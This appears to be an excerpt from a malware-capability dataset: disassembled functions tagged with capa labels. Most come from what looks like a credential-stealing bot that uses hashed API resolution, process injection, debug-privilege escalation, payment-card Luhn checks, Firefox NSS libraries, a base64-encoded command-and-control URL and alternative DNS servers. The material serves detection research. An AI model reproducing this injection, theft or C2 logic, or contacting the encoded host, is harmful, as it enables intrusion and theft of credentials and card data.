joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ba940
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4d4440
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004af7b8
mov eax, dword [0x853e48]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004af6ea
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004bb400
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x4ba9e7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4ba9de
cmp al, 0xff
je 0x4ba9de
dec al
mov byte [ecx], al
jmp 0x4ba9e7
push ecx
call fcn.004c403a
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4baa18
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4baa0f
cmp al, 0xff
je 0x4baa0f
dec al
mov byte [ecx], al
jmp 0x4baa18
push ecx
call fcn.004c403a
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4c669e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c66d6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c472b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c4703
jmp 0x4c66e2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c7d8f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c7dd1
call fcn.004cd948
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c7dd1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c7dc8
xor eax, eax
jmp 0x4c7dd9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c7ddf
pop edi
pop esi
pop ebx
ret 4

Function at 0x4cde78
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4cdea6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4cdec4
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004cddde
jmp 0x4cdec4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4cdec4
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004cddde
test edi, edi
mov eax, edi
jne 0x4cdeae
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4023cf
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push edi
mov ecx, esi
call fcn.00402c68
mov ebx, eax
mov edi, ebx
and edi, 1
cmp byte [esi], 0x42
jne 0x4023f4
push 0
call dword [0x40c054]
mov al, byte [esi]
cmp al, 0x33
je 0x40240a
cmp al, 0x34
je 0x40240a
cmp al, 0x35
je 0x40240a
cmp al, 0x36
je 0x40240a
xor eax, eax
jmp 0x402441
lea ecx, [ebx - 1]
test ecx, ecx
js 0x402431
movsx eax, byte [ecx + esi]
mov edx, ecx
and edx, 1
sub eax, 0x30
cmp edx, edi
jne 0x402423
add eax, eax
cmp eax, 9
jle 0x40242b
sub eax, 9
add dword [ebp - 4], eax
dec ecx
jns 0x402411
mov eax, dword [ebp - 4]
cdq
push 0xa
pop ecx
idiv ecx
mov eax, edx
neg eax
sbb eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x403d51
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x403da2
push 0x7261c8af
push 9
pop eax
call fcn.00406efb
pop ecx
mov ecx, dword [ebp + 0xc]
push 0
push edi
add ecx, esi
push ecx
push dword [ebp + 8]
call eax
cmp eax, 0xffffffff
jne 0x403d9e
call dword [0x40c1f0]
cmp eax, 0x2733
jne 0x403dad
xor eax, eax
push 0x2fa62ca8
inc eax
call fcn.00406efb
pop ecx
push 5
call eax
jmp 0x403da2
add esi, eax
sub edi, eax
test edi, edi
jg 0x403d5c
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret
xor eax, eax
jmp 0x403da9

Function at 0x404f80
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, eax
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
mov dword [ebp - 8], eax
xor eax, eax
push 0xaeb6049c
inc eax
call fcn.00406efb
pop ecx
push 0x40
mov ebx, 0x3000
push ebx
push dword [ebp - 8]
push 0
push dword [ebp + 8]
call eax
mov dword [ebp - 8], eax
test eax, eax
je 0x4050a0
mov eax, dword [esi + 0x50]
mov dword [ebp - 4], eax
xor eax, eax
push 0x3285501
inc eax
call fcn.00406efb
pop ecx
push 0x40
push ebx
push dword [ebp - 4]
push 0
call eax
push dword [esi + 0x50]
mov ebx, eax
push edi
push ebx
call fcn.00404b15
mov ecx, dword [esi + 0x34]
mov eax, dword [esi + 0xa0]
mov edx, dword [ebp - 8]
add esp, 0xc
add eax, ebx
sub edx, ecx
sub edi, ecx
mov dword [ebp - 0xc], edi
jmp 0x40504d
mov edi, dword [eax + 4]
cmp edi, 8
jb 0x40504a
add edi, 0xfffffff8
shr edi, 1
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
je 0x40504a
mov ecx, dword [ebp - 4]
movzx ecx, word [eax + ecx*2 + 8]
test cx, cx
je 0x405042
and ecx, 0xfff
add ecx, dword [eax]
mov edi, edx
sub edi, dword [ebp - 0xc]
add ecx, ebx
add dword [ecx], edi
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jb 0x40501e
add eax, dword [eax + 4]
cmp dword [eax], 0
jne 0x405005
mov esi, dword [esi + 0x50]
xor eax, eax
push 0xc0088eea
inc eax
call fcn.00406efb
pop ecx
push 0
push esi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call eax
test eax, eax
jne 0x405096
push 0xe93e8317
inc eax
call fcn.00406efb
mov dword [esp], 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call eax
push ebx
call fcn.00401068
pop ecx
push ebx
call fcn.00401068
mov eax, dword [ebp - 8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4050a7
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push 0x33f3df29
push 3
pop eax
call fcn.00406efb
pop ecx
lea ecx, [ebp - 1]
push ecx
xor esi, esi
push esi
push 1
push 0x14
call eax
xor eax, eax
push 0xd263bde6
inc eax
call fcn.00406efb
pop ecx
push esi
call eax
push 0xf3c25a15
mov ebx, eax
push 3
pop eax
call fcn.00406efb
pop ecx
push ebx
call eax
mov eax, dword [ebp + 8]
push 0x5ea49a38
mov dword [ebp - 0x18], eax
push 3
pop eax
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], esi
call fcn.00406efb
pop ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x30]
push ecx
push 0x1fffff
lea ecx, [ebp - 8]
push ecx
call eax
test eax, eax
jns 0x405139
xor al, al
jmp 0x4051d3
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [0x40c1dc]
xor eax, eax
push 0x2fa62ca8
inc eax
call fcn.00406efb
mov dword [esp], 0xbb8
call eax
push dword [ebp - 8]
mov eax, ebx
call fcn.00404f80
mov dword [ebp + 8], eax
mov eax, dword [ebp - 8]
push 0x86fe9786
mov dword [ebp - 0xc], eax
push 3
pop eax
call fcn.00406efb
pop ecx
push esi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp + 8]
mov ecx, dword [ebp + 8]
sub ecx, ebx
add ecx, dword [ebp + 0xc]
push ecx
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0xc]
call eax
test eax, eax
jns 0x4051d1
mov ebx, dword [ebp - 8]
xor eax, eax
push 0xe93e8317
inc eax
call fcn.00406efb
mov dword [esp], 0x8000
push esi
push dword [ebp + 8]
push ebx
call eax
mov esi, dword [ebp - 8]
push 0x6b372c05
push 3
pop eax
call fcn.00406efb
pop ecx
push esi
call eax
jmp 0x405132
mov al, 1
pop esi
pop ebx
leave
ret

Function at 0x4053cb
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
xor eax, eax
cmp dword [ebp + 8], edi
je 0x40542c
push esi
push 0xafcab3c4
inc eax
call fcn.00406efb
pop ecx
push edi
push 0x80
push 2
push edi
push 1
push 0x40000000
push dword [ebp + 8]
call eax
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x40542b
push 0x7f07c44a
inc eax
mov dword [ebp - 4], edi
call fcn.00406efb
pop ecx
push edi
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call eax
push esi
call fcn.00401038
mov eax, dword [ebp - 4]
pop ecx
pop esi
pop edi
leave
ret

Function at 0x40542f
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call fcn.00404c49
mov esi, eax
push esi
call fcn.00404ba6
xor eax, eax
push 0x54fcc943
inc eax
call fcn.00406efb
add esp, 0xc
push 0
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call eax
push dword [ebp + 8]
call fcn.00401038
pop ecx
mov eax, esi
pop esi
leave
ret
Function at 0x40557e
Capabilities:
Packed with generic packer
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
push ebx
push esi
xor eax, eax
push edi
push 0xabf23cd
inc eax
call fcn.00406efb
mov dword [esp], 0x405471
call eax
xor eax, eax
push 0xc8d54834
inc eax
call fcn.00406efb
mov dword [esp], 0x8007
call eax
call fcn.004074bf
lea eax, [esp + 0x10]
mov dword [esp + 0xc], eax
pushal
mov edi, dword [esp + 0x2c]
mov ecx, 0x190
mov eax, 0
rep stosb byte es:[edi], al
popal
mov esi, 0x20125c5f
push esi
push 9
pop eax
call fcn.00406efb
pop ecx
lea ecx, [esp + 0x10]
push ecx
push 0x202
call eax
test eax, eax
je 0x40561d
push esi
push 9
pop eax
call fcn.00406efb
pop ecx
lea ecx, [esp + 0x10]
push ecx
push 0x101
call eax
test eax, eax
je 0x40561d
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0x10
xor edi, edi
push edi
push edi
push edi
push 0x40547f
push edi
push edi
call dword [0x40c120]
mov esi, eax
add esp, 0x18
cmp esi, edi
je 0x405652
xor eax, eax
push 0x71948ca4
inc eax
call fcn.00406efb
pop ecx
push 0xffffffffffffffff
push esi
call eax
push esi
call fcn.00401038
pop ecx
xor eax, eax
push 0x2fa62ca8
inc eax
call fcn.00406efb
mov dword [esp], 0x3e8
call eax
jmp 0x40561f

Function at 0x405d37
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov ebx, dword [edi + 4]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x405e01
lea esi, [ecx + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x405da3
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 8], eax
test eax, eax
jle 0x405dec
push 4
push 0x1000
push eax
mov eax, dword [esi - 4]
add eax, ebx
push eax
call dword [0x40c040]
test eax, eax
je 0x405e08
push dword [ebp - 8]
mov eax, dword [esi - 4]
add eax, ebx
push 0
push eax
mov dword [esi - 8], eax
call dword [0x40c12c]
jmp 0x405de9
mov ecx, dword [esi + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.00405c21
pop ecx
test al, al
je 0x405e08
mov eax, dword [esi - 4]
push 4
push 0x1000
push dword [esi]
add eax, ebx
push eax
call dword [0x40c040]
test eax, eax
je 0x405e08
mov eax, dword [esi + 4]
push dword [esi]
add eax, dword [ebp + 8]
mov edi, dword [esi - 4]
add edi, ebx
push eax
push edi
call fcn.00404b15
mov dword [esi - 8], edi
mov edi, dword [ebp + 0x14]
add esp, 0xc
mov eax, dword [edi]
movzx eax, word [eax + 6]
inc dword [ebp - 4]
add esi, 0x28
cmp dword [ebp - 4], eax
jl 0x405d62
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
xor al, al
jmp 0x405e03
Function at 0x40652e
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x112
call fcn.00404c49
push 0xe
mov esi, eax
push 0x414f28
push esi
call fcn.00404b15
add esp, 0x10
xor eax, eax
xor word [esi + eax*2], 2
inc eax
cmp eax, 0xe
jbe 0x40654d
mov eax, esi
pop esi
ret

Function at 0x406a6d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x40c604
mov dword [ebp - 0x54], 0x625c3a63
mov dword [ebp - 0x50], 0x6975625c
mov dword [ebp - 0x4c], 0x735c646c
mov dword [ebp - 0x48], 0x6576616c
mov dword [ebp - 0x44], 0x6e69775c
mov dword [ebp - 0x40], 0x6975625c
mov dword [ebp - 0x3c], 0x735c646c
mov dword [ebp - 0x38], 0x745c6372
mov dword [ebp - 0x34], 0x64726968
mov dword [ebp - 0x30], 0x7261705f
mov dword [ebp - 0x2c], 0x625c7974
mov dword [ebp - 0x28], 0x6e69726f
mov dword [ebp - 0x24], 0x6c737367
mov dword [ebp - 0x20], 0x6372735c
mov dword [ebp - 0x1c], 0x6c73735c
mov dword [ebp - 0x18], 0x6c73735c
mov dword [ebp - 0x14], 0x62696c5f
mov word [ebp - 0x10], 0x632e
mov byte [ebp - 0xe], 0
call dword [0x40c0d8]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x406b84
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x406b84
and dword [ebp - 8], 0
xor eax, eax
jmp 0x406b7e
movzx eax, word [ebp - 8]
imul eax, eax, 0x28
lea edi, [eax + ebx + 0xf8]
xor eax, eax
push 0x258ad2dd
inc eax
call fcn.00406efb
mov dword [esp], str..rdata
push edi
call eax
test eax, eax
jne 0x406b77
and dword [ebp - 4], eax
cmp dword [edi + 0x10], eax
jbe 0x406b77
mov esi, dword [edi + 0xc]
add esi, dword [ebp - 4]
push 0x47
add esi, dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push esi
push eax
call dword [0x40c110]
add esp, 0xc
test eax, eax
je 0x406b8b
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [edi + 0x10]
jb 0x406b4f
inc dword [ebp - 8]
mov ax, word [ebp - 8]
cmp ax, word [ebx + 6]
jb 0x406b1e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [esi - 0x48]
jmp 0x406b86

Function at 0x406eca
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
push esi
mov ecx, edi
mov ebx, 0x811c9dc5
xor esi, esi
call fcn.00402c68
test eax, eax
je 0x406ef6
movsx eax, byte [esi + edi]
xor ebx, eax
imul ebx, ebx, 0x1000193
mov ecx, edi
inc esi
call fcn.00402c68
cmp esi, eax
jb 0x406ede
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x406efb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
dec eax
push ebx
cmp eax, 0xf
ja case.default.0x406f0c
jmp dword [eax*4 + 0x406ff8]
push str.kernel32.dll
jmp 0x406f81
push str.user32.dll
jmp 0x406f81
push str.ntdll.dll
jmp 0x406f81
push str.advapi32.dll
jmp 0x406f81
push str.crypt32.dll
jmp 0x406f81
push str.psapi.dll
jmp 0x406f81
push str.shlwapi.dll
jmp 0x406f81
push str.shell32.dll
jmp 0x406f81
push str.ws2_32.dll
jmp 0x406f81
push str.msvcrt.dll
jmp 0x406f81
push 0x40c51c
jmp 0x406f81
push str.wininet.dll
jmp 0x406f81
push str.nss3.dll
jmp 0x406f81
push str.nspr4.dll
jmp 0x406f81
push 0x40c570
jmp 0x406f81
push str.dnsapi.dll
call dword [0x40c0f8]
mov ebx, eax
test ebx, ebx
jne 0x406f91
xor eax, eax
jmp 0x406fde
mov eax, dword [ebx + 0x3c]
push esi
mov esi, dword [eax + ebx + 0x78]
add esi, ebx
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x24]
add eax, ebx
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x20]
add eax, ebx
add ecx, ebx
and dword [ebp - 4], 0
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jmp 0x406fbd
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edi, dword [eax + ecx*4]
add edi, ebx
call fcn.00406eca
cmp eax, dword [ebp + 8]
je 0x406fe1
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 0x18]
jbe 0x406fba
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + ecx*2]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x406fdc

Function at 0x4074bf
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
xor esi, esi
push edi
inc esi
push 0x6dd8a845
mov eax, esi
call fcn.00406efb
pop ecx
call eax
push 0x5e5ad0c3
mov edi, eax
push 4
pop eax
call fcn.00406efb
pop ecx
lea ecx, [ebp - 4]
push ecx
push 0x28
push edi
call eax
test eax, eax
je 0x40754e
push 0x2abdab4
push 4
pop eax
call fcn.00406efb
pop ecx
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
xor edi, edi
push edi
call eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x5b11ad63
mov dword [ebp - 0x14], eax
push 4
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 4]
pop eax
mov dword [ebp - 0x10], 2
call fcn.00406efb
pop ecx
push edi
push edi
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push edi
push esi
call eax
push dword [ebp - 4]
call fcn.00401038
pop ecx
pop edi
pop esi
leave
ret

Function at 0x407734
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebx
push esi
xor ebx, ebx
push ebx
push str.protocol
push str.driversetc
push 0x25
call fcn.00402e20
mov esi, eax
xor eax, eax
push 0xafcab3c4
inc eax
call fcn.00406efb
add esp, 0x14
push ebx
push 0x80
push 3
push ebx
push 3
push 0xc0000000
push esi
call eax
mov ecx, eax
call fcn.00406eb0
cmp eax, 5
je 0x407789
cmp ecx, 0xffffffff
je 0x407789
push ecx
call dword [0x40c050]
mov bl, 1
push esi
call fcn.00404c38
pop ecx
pop esi
mov al, bl
pop ebx
ret
Function at 0x407795
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
lea eax, [ebp - 0x118]
push edi
mov dword [ebp - 4], eax
pushal
mov edi, dword [ebp - 4]
mov ecx, 0x114
mov eax, 0
rep stosb byte es:[edi], al
popal
push 0xcdc95e31
push 3
pop eax
mov dword [ebp - 0x118], 0x114
call fcn.00406efb
pop ecx
lea ecx, [ebp - 0x118]
push ecx
call eax
test eax, eax
jne 0x4078b7
mov eax, dword [ebp - 0x114]
cmp eax, 0xa
jne 0x407803
cmp dword [ebp - 0x110], 0
jne 0x407890
push str.Windows_2010
jmp 0x407870
cmp eax, 6
jne 0x40783d
mov eax, dword [ebp - 0x110]
cmp eax, 3
jne 0x40781a
push str.Windows_208.1
jmp 0x407870
cmp eax, 2
jne 0x407826
push str.Windows_208
jmp 0x407870
cmp eax, 1
jne 0x407832
push str.Windows_207
jmp 0x407870
test eax, eax
jne 0x407890
push str.Windows_20Vista
jmp 0x407870
cmp eax, 5
jne 0x407884
cmp dword [ebp - 0x110], 2
jne 0x407852
push str.Windows_202003
jmp 0x407870
cmp dword [ebp - 0x110], 1
jne 0x407862
push str.Windows_20XP
jmp 0x407870
cmp dword [ebp - 0x110], 0
jne 0x407890
push str.Windows_202000
mov esi, dword [ebp + 8]
lea eax, [esi + 0xe38]
push eax
call dword [0x40c154]
pop ecx
pop ecx
jmp 0x407893
cmp eax, 4
jne 0x407890
push str.Windows_20NT
jmp 0x407870
mov esi, dword [ebp + 8]
call fcn.0040740f
add esi, 0xe38
test al, al
je 0x4078b0
push str._20_64_bit_
push esi
call dword [0x40c150]
jmp 0x4078cb
push str._20_32_bit_
jmp 0x4078a7
mov eax, dword [ebp + 8]
add eax, 0xe38
push 0x40cb70
push eax
call dword [0x40c154]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407eb8
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [0x40c158]
mov esi, str.aHR0cDovL3d3dy56ZXJvMnNpeC5wdy94MDA3Mi90YXNrcy5waHA
mov ebx, 0x40c8b0
push esi
call dword [0x40c128]
and dword [ebp - 0xc], 0
pop ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
call fcn.004065e5
add esp, 0xc
cmp dword [ebp - 0xc], 0
mov dword [ebp - 8], eax
ja 0x407efd
push dword [ebp + 8]
call fcn.00407eb8
pop ecx
mov edx, dword [ebp - 8]
call fcn.004062b4
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x14], eax
call edi
pop ecx
pop ecx
mov ecx, esi
mov dword [ebp - 4], eax
call fcn.00406293
cmp dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x145c], eax
je 0x407f9e
push 0
push str.enter
push dword [ebp - 4]
call fcn.00408d7e
add esp, 0xc
mov dword [ebp - 0xc], eax
call fcn.00402c47
test al, al
jne 0x407f90
mov eax, dword [ebp - 0xc]
call fcn.00403012
mov ecx, eax
mov dword [ebp - 0x10], ecx
call fcn.00402c47
test al, al
jne 0x407f87
push 0
call fcn.00402c68
push eax
push dword [ebp - 0x10]
call fcn.004063b6
add esp, 0xc
push str.success
mov dword [ebp - 0x10], eax
call fcn.00402d51
pop ecx
call fcn.00402c47
test al, al
je 0x407fc3
push dword [ebp - 0xc]
call fcn.00404c38
pop ecx
push ebx
push 0
call edi
pop ecx
pop ecx
mov dword [ebp - 4], eax
test eax, eax
jne 0x407f29
push dword [ebp - 8]
call fcn.00404c38
xor eax, eax
inc eax
mov dword [esp], 0x2fa62ca8
call fcn.00406efb
mov dword [esp], 0x1388
call eax
jmp 0x407ed1
push dword [ebp - 4]
mov esi, dword [ebp + 8]
push esi
call dword [0x40c154]
push dword [ebp - 0xc]
call fcn.00404c38
add esp, 0xc
push dword [ebp - 8]
call fcn.00404c38
pop ecx
push dword [ebp - 0x10]
call fcn.00404c38
mov eax, dword [ebp - 0x14]
pop ecx
pop edi
mov dword [esi + 0x1458], eax
pop esi
pop ebx
leave
ret

Function at 0x40816f
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov eax, 0xc8
push esi
push edi
cmp dword [ebp + 0xc], eax
jle 0x408188
mov dword [ebp + 0xc], eax
mov eax, dword [0x40c8c4]
mov dword [esp + 0x10], eax
mov eax, dword [0x40c8c8]
push 0x104
mov dword [esp + 0x18], eax
call fcn.00404c49
xor ebx, ebx
mov esi, eax
inc ebx
mov eax, ebx
mov dword [esp], 0x2d95428b
call fcn.00406efb
pop ecx
call eax
mov dword [esp + 0xc], eax
xor edi, edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
cmp dword [ecx], eax
jge 0x408241
test byte [esp + 0xc], bl
je 0x40821a
push 0xc8d54834
mov eax, ebx
call fcn.00406efb
pop ecx
push ebx
call eax
push 0xb00fbb26
mov eax, ebx
call fcn.00406efb
pop ecx
lea ecx, [esp + 0x10]
push ecx
call eax
cmp eax, 5
je 0x40821a
lea eax, [esp + 0x10]
push eax
push esi
call dword [0x40c060]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00408041
add esp, 0x14
shr dword [esp + 0xc], 1
inc word [esp + 0x10]
push 0x2fa62ca8
mov eax, ebx
call fcn.00406efb
pop ecx
push 0
call eax
inc edi
cmp edi, 0x1a
jb 0x4081c0
push esi
call fcn.00404c38
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4082b1
Capabilities:
Reference google public dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
and dword [ebp - 0xc], 0
and dword [ebp - 4], 0
push ebx
push esi
mov dword [ebp - 0x48], str.ns.dotbit.me
mov dword [ebp - 0x44], str.alors.deepdns.cryptostorm.net
mov dword [ebp - 0x40], str.onyx.deepdns.cryptostorm.net
mov dword [ebp - 0x3c], str.ns1.any.dns.d0wn.biz
mov dword [ebp - 0x38], str.ns1.random.dns.d0wn.biz
mov dword [ebp - 0x34], str.ns2.random.dns.d0wn.biz
mov dword [ebp - 0x30], str.anyone.dnsrec.meo.ws
mov dword [ebp - 0x2c], str.ist.fellig.org
mov dword [ebp - 0x28], str.civet.ziphaze.com
mov dword [ebp - 0x24], str.ns2.fr.dns.d0wn.biz
mov dword [ebp - 0x20], str.ns1.sg.dns.d0wn.biz
mov dword [ebp - 0x1c], str.ns1.nl.dns.d0wn.biz
mov dword [ebp - 0x18], str.8.8.8.8
mov dword [ebp - 0x14], str.8.8.4.4
push edi
push 0x104
call fcn.00404c17
push eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push dword [ebp + eax*4 - 0x48]
call fcn.00408248
xor ecx, ecx
add esp, 0xc
cmp ecx, eax
sbb ebx, ebx
neg ebx
je 0x4083b9
xor edi, edi
test ebx, ebx
je 0x4083b9
push 8
call fcn.00404c17
mov esi, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + edi*4]
inc dword [esi]
mov dword [esp], 0x4fb5062c
mov dword [esi + 4], eax
push 0x10
pop eax
call fcn.00406efb
pop ecx
push 0
lea ecx, [ebp - 0x10]
push ecx
push esi
push 0x48
push 1
push dword [ebp + 8]
call eax
test eax, eax
je 0x408397
push esi
call fcn.00404c06
inc edi
pop ecx
cmp edi, ebx
jb 0x408351
jmp 0x4083b9
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x18]
add dword [ebp - 4], 0xe
push 0x3d445872
mov esi, eax
push 0x10
pop eax
mov dword [ebp - 0xc], ecx
call fcn.00406efb
pop ecx
push 1
push esi
call eax
push dword [ebp - 8]
call fcn.00404c06
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xe
pop ecx
jb 0x408324
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret